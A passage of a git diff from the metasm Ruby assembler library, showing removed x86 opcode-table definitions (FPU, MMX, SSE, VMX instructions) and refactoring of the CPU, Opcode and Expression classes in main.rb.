- addop 'fnsave', [0xDD, 6<<3], :modrmA - addop('fnstcw', [0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fnstenv',[0xD9, 6<<3], :modrmA - addop 'fnstsw', [0xDF, 0xE0] - addop('fnstsw', [0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fscale', [0xD9, 0xFD] - addop 'fsin', [0xD9, 0xFE] - addop 'fsincos',[0xD9, 0xFB] - addop 'fsqrt', [0xD9, 0xFA] - addop('fst', [0xD9, 2<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fst', [0xDD, 2<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop 'fst', [0xD9, 0xD0], :regfp - addop('fstp', [0xD9, 3<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fstp', [0xDD, 3<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop('fstp', [0xDB, 7<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fstp', [0xDD, 0xD8], :regfp - addop_macrofpu1 'fsub', 4 - addop 'fsubp', [0xDE, 0xE8], :regfp - addop 'fsubp', [0xDE, 0xE9] - addop_macrofpu1 'fsubp', 5 - addop 'fsubrp', [0xDE, 0xE0], :regfp - addop 'fsubrp', [0xDE, 0xE1] - addop 'ftst', [0xD9, 0xE4] - addop 'fucom', [0xDD, 0xE0], :regfp - addop 'fucomp', [0xDD, 0xE8], :regfp - addop 'fucompp',[0xDA, 0xE9] - addop 'fucomi', [0xDB, 0xE8], :regfp - addop 'fxam', [0xD9, 0xE5] - addop 'fxch', [0xD9, 0xC8], :regfp - addop 'fxtract',[0xD9, 0xF4] - addop 'fyl2x', [0xD9, 0xF1] - addop 'fyl2xp1',[0xD9, 0xF9] - # fwait prefix - addop 'fclex', [0x9B, 0xDB, 0xE2] - addop 'finit', [0x9B, 0xDB, 0xE3] - addop 'fsave', [0x9B, 0xDD, 6<<3], :modrmA - addop('fstcw', [0x9B, 0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fstenv', [0x9B, 0xD9, 6<<3], :modrmA - addop 'fstsw', [0x9B, 0xDF, 0xE0] - addop('fstsw', [0x9B, 0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fwait', [0x9B] - end - - def init_486_only - init_cpu_constants - # TODO add new segments (fs/gs) ? - end - - def init_pentium_only - init_cpu_constants - - addop 'cmpxchg8b', [0x0F, 0xC7], 1 - # lock cmpxchg8b eax - #addop 'f00fbug', [0xF0, 0x0F, 0xC7, 0xC8] - - # mmx - addop 'emms', [0x0F, 0x77] - addop('movd', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args[o.args.index(:modrmmmx)] = :modrm ; o.args.reverse! } - addop('movq', [0x0F, 0x6F], :mrmmmx, {:d => [1, 4]}) { |o| o.args.reverse! } - addop 'packssdw', [0x0F, 0x6B], :mrmmmx - addop 'packsswb', [0x0F, 0x63], :mrmmmx - addop 'packuswb', [0x0F, 0x67], :mrmmmx - addop_macrogg 0..2, 'padd', [0x0F, 0xFC], :mrmmmx - addop_macrogg 0..1, 'padds', [0x0F, 0xEC], :mrmmmx - addop_macrogg 0..1, 'paddus',[0x0F, 0xDC], :mrmmmx - addop 'pand', [0x0F, 0xDB], :mrmmmx - addop 'pandn', [0x0F, 0xDF], :mrmmmx - addop_macrogg 0..2, 'pcmpeq',[0x0F, 0x74], :mrmmmx - addop_macrogg 0..2, 'pcmpgt',[0x0F, 0x64], :mrmmmx - addop 'pmaddwd', [0x0F, 0xF5], :mrmmmx - addop 'pmulhuw', [0x0F, 0xE4], :mrmmmx - addop 'pmulhw',[0x0F, 0xE5], :mrmmmx - addop 'pmullw',[0x0F, 0xD5], :mrmmmx - addop 'por', [0x0F, 0xEB], :mrmmmx - addop_macrommx 1..3, 'psll', 3 - addop_macrommx 1..2, 'psra', 2 - addop_macrommx 1..3, 'psrl', 1 - addop_macrogg 0..2, 'psub', [0x0F, 0xF8], :mrmmmx - addop_macrogg 0..1, 'psubs', [0x0F, 0xE8], :mrmmmx - addop_macrogg 0..1, 'psubus',[0x0F, 0xD8], :mrmmmx - addop_macrogg 1..3, 'punchkh', [0x0F, 0x68], :mrmmmx - addop_macrogg 1..3, 'punpckl', [0x0F, 0x60], :mrmmmx - addop 'pxor', [0x0F, 0xEF], :mrmmmx - end - - def init_p6_only - addop_macrotttn 'cmov', [0x0F, 0x40], :mrm - - %w{b e be u}.each_with_index { |tt, i| - addop 'fcmov' + tt, [0xDA, 0xC0 | (i << 3)], :regfp - addop 'fcmovn'+ tt, [0xDB, 0xC0 | (i << 3)], :regfp - } - addop 'fcomi', [0xDB, 0xF0], :regfp - addop('fxrstor', [0x0F, 0xAE, 1<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } - addop('fxsave', [0x0F, 0xAE, 0<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } - addop 'sysenter',[0x0F, 0x34] - addop 'sysexit', [0x0F, 0x35] - - addop 'syscall', [0x0F, 0x05] # AMD - addop 'sysret', [0x0F, 0x07] # AMD - end - - def init_3dnow_only - init_cpu_constants - - [['pavgusb', 0xBF], ['pfadd', 0x9E], ['pfsub', 0x9A], - ['pfsubr', 0xAA], ['pfacc', 0xAE], ['pfcmpge', 0x90], - ['pfcmpgt', 0xA0], ['fpcmpeq', 0xB0], ['pfmin', 0x94], - ['pfmax', 0xA4], ['pi2fd', 0x0D], ['pf2id', 0x1D], - ['pfrcp', 0x96], ['pfrsqrt', 0x97], ['pfmul', 0xB4], - ['pfrcpit1', 0xA6], ['pfrsqit1', 0xA7], ['pfrcpit2', 0xB6], - ['pmulhrw', 0xB7]].each { |str, bin| - addop str, [0x0F, 0x0F, bin], :mrmmmx - } - # 3dnow prefix fallback - addop '3dnow', [0x0F, 0x0F], :mrmmmx, {}, :u8 - - addop 'femms', [0x0F, 0x0E] - addop 'prefetch', [0x0F, 0x0D, 0<<3], :modrmA - addop 'prefetchw', [0x0F, 0x0D, 1<<3], :modrmA - end - - def init_sse_only - init_cpu_constants - - addop_macrossps 'addps', [0x0F, 0xA8], :mrmxmm - addop 'andnps', [0x0F, 0xAA], :mrmxmm - addop 'andps', [0x0F, 0xA4], :mrmxmm - addop_macrossps 'cmpps', [0x0F, 0xC2], :mrmxmm - addop 'comiss', [0x0F, 0x2F], :mrmxmm - - [['pi2ps', 0x2A], ['ps2pi', 0x2D], ['tps2pi', 0x2C]].each { |str, bin| - addop('cvt' << str, [0x0F, bin], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx } - addop('cvt' << str.tr('p', 's'), [0x0F, bin], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF3 } - } - - addop_macrossps 'divps', [0x0F, 0x5E], :mrmxmm - addop 'ldmxcsr', [0x0F, 0xAE, 2<<3], :modrmA - addop_macrossps 'maxps', [0x0F, 0x5F], :mrmxmm - addop_macrossps 'minps', [0x0F, 0x5D], :mrmxmm - addop('movaps', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]}) { |o| o.args.reverse! } - addop('movd', [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.args.reverse! ; o.props[:needpfx] = 0x66 } - addop('movdqa', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } - - # movhlps(reg, reg){nomem} == movlps(reg, mrm){no restriction}... - addop 'movhlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]} - addop 'movlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]} - addop 'movlhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]} - addop 'movhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]} - - addop 'movmskps',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg - addop('movss', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF3 } - addop 'movups', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]} - addop_macrossps 'mulps', [0x0F, 0x59], :mrmxmm - addop 'orps', [0x0F, 0x56], :mrmxmm - addop_macrossps 'rcpps', [0x0F, 0x53], :mrmxmm - addop_macrossps 'rsqrtps',[0x0F, 0x52], :mrmxmm - addop 'shufps', [0x0F, 0xC6], :mrmxmm, {}, :u8 - addop_macrossps 'sqrtps', [0x0F, 0x51], :mrmxmm - addop 'stmxcsr', [0x0F, 0xAE, 3<<3], :modrmA - addop_macrossps 'subps', [0x0F, 0x5C], :mrmxmm - addop 'ucomiss', [0x0F, 0x2E], :mrmxmm - addop 'unpckhps',[0x0F, 0x15], :mrmxmm - addop 'unpcklps',[0x0F, 0x14], :mrmxmm - addop 'xorps', [0x0F, 0x57], :mrmxmm - - # start of integer instruction (accept opsz override prefix to access xmm) - addop('pavgb', [0x0F, 0xE0], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pavgw', [0x0F, 0xE3], :mrmmmx) { |o| o.props[:xmmx] = true } -# TODO addop('pextrw', [0x0F, 0xC5], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } { |o| o.props[:xmmx] = true ; o.args << :u8 } -# addop('pinsrw', [0x0F, 0xC4], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } { |o| o.props[:xmmx] = true ; o.args << :u8 } - addop('pmaxsw', [0x0F, 0xEE], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pmaxub', [0x0F, 0xDE], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pminsw', [0x0F, 0xEA], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pminub', [0x0F, 0xDA], :mrmmmx) { |o| o.props[:xmmx] = true } -# addop('pmovmskb',[0x0F, 0xD4], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } ) { |o| o.props[:xmmx] = true } # no mem ref in the mrm - addop('pmulhuw', [0x0F, 0xE4], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('psadbw', [0x0F, 0xF6], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pshufw', [0x0F, 0x70], :mrmmmx) { |o| o.props[:xmmx] = true ; o.args << :u8 } - addop('maskmovq',[0x0F, 0xF7], :mrmmmx) { |o| o.props[:xmmx] = true } # nomem - addop('movntq', [0x0F, 0xE7], :mrmmmx) { |o| o.props[:xmmx] = true } - addop 'movntps', [0x0F, 0x2B], :mrmxmm - addop 'prefetcht0', [0x0F, 0x18, 1<<3], :modrmA - addop 'prefetcht1', [0x0F, 0x18, 2<<3], :modrmA - addop 'prefetcht2', [0x0F, 0x18, 3<<3], :modrmA - addop 'prefetchnta',[0x0F, 0x18, 0<<3], :modrmA - addop 'sfence', [0x0F, 0xAE, 0xF8] - end - - # XXX must be done after init_sse (patches :regmmx opcodes) - # TODO complete the list - def init_sse2_only - init_cpu_constants - - @opcode_list.each { |o| o.props[:xmmx] = true if o.args.include? :regmmx and o.args.include? :modrmmmx } - - # TODO <..blabla...integer...blabla..> - - # nomem - addop('clflush', [0x0F, 0xAE, 7<<3], :modrmA) { |o| o.props[:argsz] = 8 } - addop('maskmovdqu', [0x0F, 0xF7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('movntpd', [0x0F, 0x2B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('movntdq', [0x0F, 0xE7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop 'movnti', [0x0F, 0xC3], :mrm - addop('pause', [0x90]) { |o| o.props[:needpfx] = 0xF3 } - addop 'lfence', [0x0F, 0xAE, 0xE8] - addop 'mfence', [0x0F, 0xAE, 0xF0] - end - - def init_sse3_only - init_cpu_constants - - addop('addsubpd', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('addsubps', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('haddpd', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('haddps', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('hsubpd', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('hsubps', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - - addop 'monitor', [0x0F, 0x01, 0xC8] - addop 'mwait', [0x0F, 0x01, 0xC9] - - addop('fisttp', [0xDF, 1<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop('fisttp', [0xDB, 1<<3], :modrmA) { |o| o.props[:argsz] = 32 } - addop('fisttp', [0xDD, 1<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('lddqu', [0x0F, 0xF0], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmA ; o.props[:needpfx] = 0xF2 } - addop('movddup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('movshdup', [0x0F, 0x16], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - addop('movsldup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - end - - def init_vmx_only - init_cpu_constants - - addop 'vmcall', [0x0F, 0x01, 0xC1] - addop 'vmlaunch', [0x0F, 0x01, 0xC2] - addop 'vmresume', [0x0F, 0x01, 0xC3] - addop 'vmxoff', [0x0F, 0x01, 0xC4] - addop 'vmread', [0x0F, 0x78], :mrm - addop 'vmwrite', [0x0F, 0x79], :mrm - addop('vmclear', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } - addop('vmxon', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0xF3 } - addop('vmptrld', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('vmptrrst', [0x0F, 0xC7, 7<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('invept', [0x0F, 0x38, 0x80], :mrmA) { |o| o.props[:needpfx] = 0x66 } - addop('invvpid', [0x0F, 0x38, 0x81], :mrmA) { |o| o.props[:needpfx] = 0x66 } - - addop 'getsec', [0x0F, 0x37] - - addop('movbe', [0x0F, 0x38, 0xF0], :mrm, { :d => [2, 0] }) { |o| o.args.reverse! } - addop 'xgetbv', [0x0F, 0x01, 0xD0] - addop 'xsetbv', [0x0F, 0x01, 0xD1] - addop 'rdtscp', [0x0F, 0x01, 0xF9] - addop 'xrstor', [0x0F, 0xAE, 5<<3], :modrmA - addop 'xsave', [0x0F, 0xAE, 4<<3], :modrmA - addop 'nop', [0x0F, 0x1F], 0 # which family does this belong to ? - end - - def init_sse42_only - init_cpu_constants - - addop('crc32', [0x0F, 0x38, 0xF0], :mrmw) { |o| o.props[:needpfx] = 0xF2 } - addop('pcmpestrm', [0x0F, 0x3A, 0x60], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpestri', [0x0F, 0x3A, 0x61], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpistrm', [0x0F, 0x3A, 0x62], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpistri', [0x0F, 0x3A, 0x63], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpgtq', [0x0F, 0x38, 0x37], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('popcnt', [0x0F, 0xB8], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - end - - - # - # CPU family dependencies - # - - def init_386_common - init_386_common_only - end - - def init_386 - init_386_common - init_386_only - end - - def init_387 - init_387_only - end - - def init_486 - init_386 - init_387 - init_486_only - end - - def init_pentium - init_486 - init_pentium_only - end - - def init_3dnow - init_pentium - init_3dnow_only - end - - def init_p6 - init_pentium - init_p6_only - end - - def init_sse - init_p6 - init_sse_only - end - - def init_sse2 - init_sse - init_sse2_only - end - - def init_sse3 - init_sse2 - init_sse3_only - end - - def init_vmx - init_sse3 - init_vmx_only - end - - def init_all - init_vmx - init_sse42_only - init_3dnow_only - end - - alias init_latest init_all - - - # - # addop_* macros - # - - def addop_macro1(name, num, immtype=:i) - addop name, [(num << 3) | 4], nil, {:w => [0, 0]}, :reg_eax, immtype - addop name, [num << 3], :mrmw, {:d => [0, 1]} - addop name, [0x80], num, {:w => [0, 0], :s => [0, 1]}, immtype - end - def addop_macro2(name, num) - addop name, [0x0F, 0xBA], (4 | num), {}, :u8 - addop(name, [0x0F, 0xA3 | (num << 3)], :mrm) { |op| op.args.reverse! } - end - def addop_macro3(name, num) - addop name, [0xD0], num, {:w => [0, 0]}, :imm_val1 - addop name, [0xD2], num, {:w => [0, 0]}, :reg_cl - addop name, [0xC0], num, {:w => [0, 0]}, :u8 - end - - def addop_macrotttn(name, bin, hint, fields = {}, *props, &blk) - [%w{o}, %w{no}, %w{b nae c}, %w{nb ae nc}, - %w{z e}, %w{nz ne}, %w{be na}, %w{nbe a}, - %w{s}, %w{ns}, %w{p pe}, %w{np po}, - %w{l nge}, %w{nl ge}, %w{le ng}, %w{nle g}].each_with_index { |e, i| - b = bin.dup - if b[0] == 0x0F - b[1] |= i - else - b[0] |= i - end - - e.each { |k| addop(name + k, b.dup, hint, fields.dup, *props, &blk) } - } - end - - def addop_macrostr(name, bin, type) - # addop(name, bin.dup, {:w => [0, 0]}) { |o| o.props[type] = true } # TODO allow segment override - addop(name+'b', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } - addop(name+'b', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } - bin = bin.dup - bin[0] |= 1 - addop(name+'w', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } - addop(name+'d', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } - end - - def addop_macrofpu1(name, n) - addop(name, [0xD8, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop(name, [0xDC, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop name, [0xD8, 0xC0|(n<<3)], :regfp, {:d => [0, 2]} - end - def addop_macrofpu2(name, n, n2=0) - addop(name, [0xDE|n2, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 16 } - addop(name, [0xDA|n2, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - end - def addop_macrofpu3(name, n) - addop_macrofpu2 name, n, 1 - addop(name, [0xDF, 0x28|(n<<3)], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - end - - def addop_macrogg(ggrng, name, bin, *args, &blk) - ggrng.each { |gg| - bindup = bin.dup - bindup[1] |= gg - sfx = %w(b w d q)[gg] - addop name+sfx, bindup, *args, &blk - } - end - - def addop_macrommx(ggrng, name, val) - addop_macrogg ggrng, name, [0x0F, 0xC0 | (val << 4)], :mrmmmx - addop_macrogg ggrng, name, [0x0F, 0x70, 0xC0 | (val << 4)], nil, {:regmmx => [2, 0]}, :u8 - end - - def addop_macrossps(name, bin, hint) - # don't allow fields argument, as this will be modified by addop (.dup it if needed) - addop name, bin, hint - addop(name.tr('p', 's'), bin, hint) { |o| o.props[:needpfx] = 0xF3 } - end - - # helper function: creates a new Opcode based on the arguments, eventually - # yields it for further customisation, and append it to the instruction set - # is responsible of the creation of disambiguating opcodes if necessary (:s flag hardcoding) - def addop(name, bin, hint=nil, fields={}, *argprops) - op = Opcode.new name, bin - op.fields.replace fields - - case hint - when nil - - when :mrm, :mrmw, :mrmA - h = (hint == :mrmA ? :modrmA : :modrm) - op.fields[:reg] = [bin.length, 3] - op.fields[h] = [bin.length, 0] - op.fields[:w] = [bin.length - 1, 0] if hint == :mrmw - argprops.unshift :reg, h - op.bin << 0 - when :reg - op.fields[:reg] = [bin.length-1, 0] - argprops.unshift :reg - when :regfp - op.fields[:regfp] = [bin.length-1, 0] - argprops.unshift :regfp, :regfp0 - when :modrmA - op.fields[:modrmA] = [bin.length-1, 0] - argprops << :modrmA - - when Integer # mod/m, reg == opcode extension = hint - op.fields[:modrm] = [bin.length, 0] - op.bin << (hint << 3) - argprops.unshift :modrm - - when :mrmmmx - op.fields[:regmmx] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regmmx, :modrmmmx - when :mrmxmm - op.fields[:regxmm] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regxmm, :modrmxmm - else - raise SyntaxError, "invalid hint #{hint.inspect} for #{name}" - end - - if argprops.index(:u) - argprops << :unsigned_imm - argprops[argprops.index(:u)] = :i - end - - (argprops & @valid_props).each { |p| op.props[p] = true } - argprops -= @valid_props - - op.args.concat(argprops & @valid_args) - argprops -= @valid_args - - raise "Invalid opcode definition: #{name}: unknown #{argprops.inspect}" unless argprops.empty? - - yield op if block_given? - - argprops = (op.props.keys - @valid_props) + (op.args - @valid_args) + (op.fields.keys - @fields_mask.keys) - raise "Invalid opcode customisation: #{name}: #{argprops.inspect}" unless argprops.empty? - - addop_post(op) - end - - # this recursive method is in charge of Opcode duplication (eg to hardcode some flag) - def addop_post(op) - dupe = lambda { |o| - dop = Opcode.new o.name.dup - dop.bin, dop.fields, dop.props, dop.args = o.bin.dup, o.fields.dup, o.props.dup, o.args.dup - dop - } - if df = op.fields.delete(:d) - # hardcode the bit - dop = dupe[op] - dop.args.reverse! - addop_post dop - - op.bin[df[0]] |= 1 << df[1] - addop_post op - - return - elsif wf = op.fields.delete(:w) - # hardcode the bit - dop = dupe[op] - dop.props[:argsz] = 8 - addop_post dop - - op.bin[wf[0]] |= 1 << wf[1] - addop_post op - - return - elsif sf = op.fields.delete(:s) - # add explicit choice versions, with lower precedence (so that disassembling will return the general version) - # eg "jmp", "jmp.i8", "jmp.i" - # also hardcode the bit - op32 = op - addop_post op32 - - op8 = dupe[op] - op8.bin[sf[0]] |= 1 << sf[1] - op8.args.map! { |arg| arg == :i ? :i8 : arg } - addop_post op8 - - op32 = dupe[op32] - op32.name << '.i' - addop_post op32 - - op8 = dupe[op8] - op8.name << '.i8' - addop_post op8 - - return - elsif op.args.first == :regfp0 - dop = dupe[op] - dop.args.delete :regfp0 - addop_post dop - end - - if op.props[:needpfx] and @opcode_list.find { |oo| oo.name == op.name and not oo.props[:needpfx] } - @opcode_list.unshift op - else - @opcode_list << op - end - - if op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret' - # define opsz-override version for ambiguous opcodes - op16 = dupe[op] - op16.name << '.i16' - op16.props[:opsz] = 16 - @opcode_list << op16 - op32 = dupe[op] - op32.name << '.i32' - op32.props[:opsz] = 32 - @opcode_list << op32 - elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or - op.args.include? :modrm or op.args.include? :modrmA or op.name =~ /loop|xlat/ - # define adsz-override version for ambiguous opcodes (TODO allow movsd edi / movsd di syntax) - # XXX loop pfx 67 = eip+cx, 66 = ip+ecx - op16 = dupe[op] - op16.name << '.a16' - op16.props[:adsz] = 16 - @opcode_list << op16 - op32 = dupe[op] - op32.name << '.a32' - op32.props[:adsz] = 32 - @opcode_list << op32 - end - end -end -end diff --git a/lib/metasm/metasm/main.rb b/lib/metasm/metasm/main.rb index a543f6f055..ae8541f59f 100644 --- a/lib/metasm/metasm/main.rb +++ b/lib/metasm/metasm/main.rb @@ -23,7 +23,7 @@ class CPU attr_accessor :valid_args, :valid_props, :fields_mask attr_accessor :endianness, :size attr_accessor :generate_PIC - + def opcode_list @opcode_list ||= init_opcode_list end @@ -32,8 +32,8 @@ class CPU def initialize @fields_mask = {} @fields_shift= {} - @valid_args = [] - @valid_props = [:setip, :saveip, :stopexec] + @valid_args = {} + @valid_props = { :setip => true, :saveip => true, :stopexec => true } @generate_PIC = true end @@ -81,6 +81,17 @@ class CPU def shortname self.class.name.sub(/.*::/, '').downcase end + + # some userinterface wants to hilight a word, return a regexp + # useful for register aliases + # the regexp will be enclosed in \b and should not contain captures + def gui_hilight_word_regexp(word) + Regexp.escape(word) + end + + # returns true if the name is invalid as a label name (eg register name) + def check_reserved_name(name) + end end # generic CPU, with no instructions, just size/endianness @@ -120,6 +131,15 @@ class Opcode def basename @name.sub(/\..*/, '') end + + def dup + o = Opcode.new(@name.dup, @bin) + o.bin = @bin.dup if @bin.kind_of?(::Array) + o.args = @args.dup + o.fields = @fields.dup + o.props = @props.dup + o + end end # defines an attribute self.backtrace (array of filename/lineno) @@ -341,7 +361,7 @@ class Expression < ExpressionType if not op raise ArgumentError, 'invalid Expression[nil]' if not l return l if l.kind_of? Expression - if l.kind_of? ::Numeric and l < 0 + if l.kind_of?(::Numeric) and l < 0 r = -l op = :'-' else @@ -354,9 +374,9 @@ class Expression < ExpressionType end l = nil else - l = self[*l] if l.kind_of? ::Array + l = self[*l] if l.kind_of?(::Array) end - r = self[*r] if r.kind_of? ::Array + r = self[*r] if r.kind_of?(::Array) new(op, r, l) end @@ -364,7 +384,7 @@ class Expression < ExpressionType # returns true if it is, false if it overflows, and nil if cannot be determined (eg unresolved variable) def self.in_range?(val, type) val = val.reduce if val.kind_of? self - return unless val.kind_of? ::Numeric + return unless val.kind_of?(::Numeric) if INT_MIN[type] val == val.to_i and @@ -374,8 +394,11 @@ class Expression < ExpressionType # casts an unsigned value to a two-complement signed if the sign bit is set def self.make_signed(val, bitlength) - if val.kind_of? Integer - val = val - (1 << bitlength) if val >> (bitlength - 1) == 1 + case val + when Integer + val = val - (1 << bitlength) if val > 0 and val >> (bitlength - 1) == 1 + when Expression + val = Expression[val, :-, [(1<>, (bitlength-1)], :==, 1]]] end val end @@ -390,8 +413,10 @@ class Expression < ExpressionType # basic constructor # XXX funny args order, you should use +Expression[]+ instead def initialize(op, rexpr, lexpr) - raise ArgumentError, "Expression: invalid arg order: #{[lexpr, op, rexpr].inspect}" if not op.kind_of? ::Symbol - @op, @lexpr, @rexpr = op, lexpr, rexpr + raise ArgumentError, "Expression: invalid arg order: #{[lexpr, op, rexpr].inspect}" if not op.kind_of?(::Symbol) + @op = op + @lexpr = lexpr + @rexpr = rexpr end # recursive check of equity using #== @@ -415,20 +440,21 @@ class Expression < ExpressionType return binding[self].dup end - l, r = @lexpr, @rexpr + l = @lexpr + r = @rexpr if l and binding[l] - raise "internal error - bound #{l.inspect}" if l.kind_of? ::Numeric + raise "internal error - bound #{l.inspect}" if l.kind_of?(::Numeric) l = binding[l] elsif l.kind_of? ExpressionType l = l.bind(binding) end if r and binding[r] - raise "internal error - bound #{r.inspect}" if r.kind_of? ::Numeric + raise "internal error - bound #{r.inspect}" if r.kind_of?(::Numeric) r = binding[r] elsif r.kind_of? ExpressionType r = r.bind(binding) end - Expression[l, @op, r] + Expression.new(@op, r, l) end # bind in place (replace self.lexpr/self.rexpr with the binding value) @@ -492,10 +518,13 @@ class Expression < ExpressionType end v = - if r.kind_of?(::Numeric) and (l == nil or l.kind_of?(::Numeric)) - # calculate numerics - if [:'&&', :'||', :'>', :'<', :'>=', :'<=', :'==', :'!='].include?(@op) - # bool expr + if r.kind_of?(::Numeric) and (not l or l.kind_of?(::Numeric)) + case @op + when :+; l ? l + r : r + when :-; l ? l - r : -r + when :'!'; raise 'internal error' if l ; (r == 0) ? 1 : 0 + when :'~'; raise 'internal error' if l ; ~r + when :'&&', :'||', :'>', :'<', :'>=', :'<=', :'==', :'!=' raise 'internal error' if not l case @op when :'&&'; (l != 0) && (r != 0) @@ -507,194 +536,18 @@ class Expression < ExpressionType when :'=='; l == r when :'!='; l != r end ? 1 : 0 - elsif not l - case @op - when :'!'; (r == 0) ? 1 : 0 - when :+; r - when :-; -r - when :~; ~r - end else - # use ruby evaluator l.send(@op, r) end - - elsif @op == :'&&' - if l == 0 # shortcircuit eval - 0 - elsif l == 1 - Expression[r, :'!=', 0].reduce_rec - elsif r == 0 - 0 # XXX l could be a special ExprType with sideeffects ? - end - elsif @op == :'||' - if l.kind_of? ::Numeric and l != 0 # shortcircuit eval - 1 - elsif l == 0 - Expression[r, :'!=', 0].reduce_rec - elsif r == 0 - Expression[l, :'!=', 0].reduce_rec - end - elsif @op == :>> or @op == :<< - if l == 0; 0 - elsif r == 0; l - elsif l.kind_of? Expression and l.op == @op - Expression[l.lexpr, @op, [l.rexpr, :+, r]].reduce_rec - # XXX (a >> 1) << 1 != a (lose low bit) - # XXX (a << 1) >> 1 != a (with real cpus, lose high bit) - # (a | b) << i - elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op - Expression[[l.lexpr, @op, r], l.op, [l.rexpr, @op, r]].reduce_rec - end - elsif @op == :'!' - if r.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[r.op] - Expression[r.lexpr, op, r.rexpr].reduce_rec - end - elsif @op == :== - if l == r; 1 - elsif r == 0 and l.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[l.op] - Expression[l.lexpr, op, l.rexpr].reduce_rec - elsif r == 1 and l.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[l.op] - l - elsif r == 0 and l.kind_of? Expression and l.op == :+ - if l.rexpr.kind_of? Expression and l.rexpr.op == :- and not l.rexpr.lexpr - Expression[l.lexpr, @op, l.rexpr.rexpr].reduce_rec - elsif 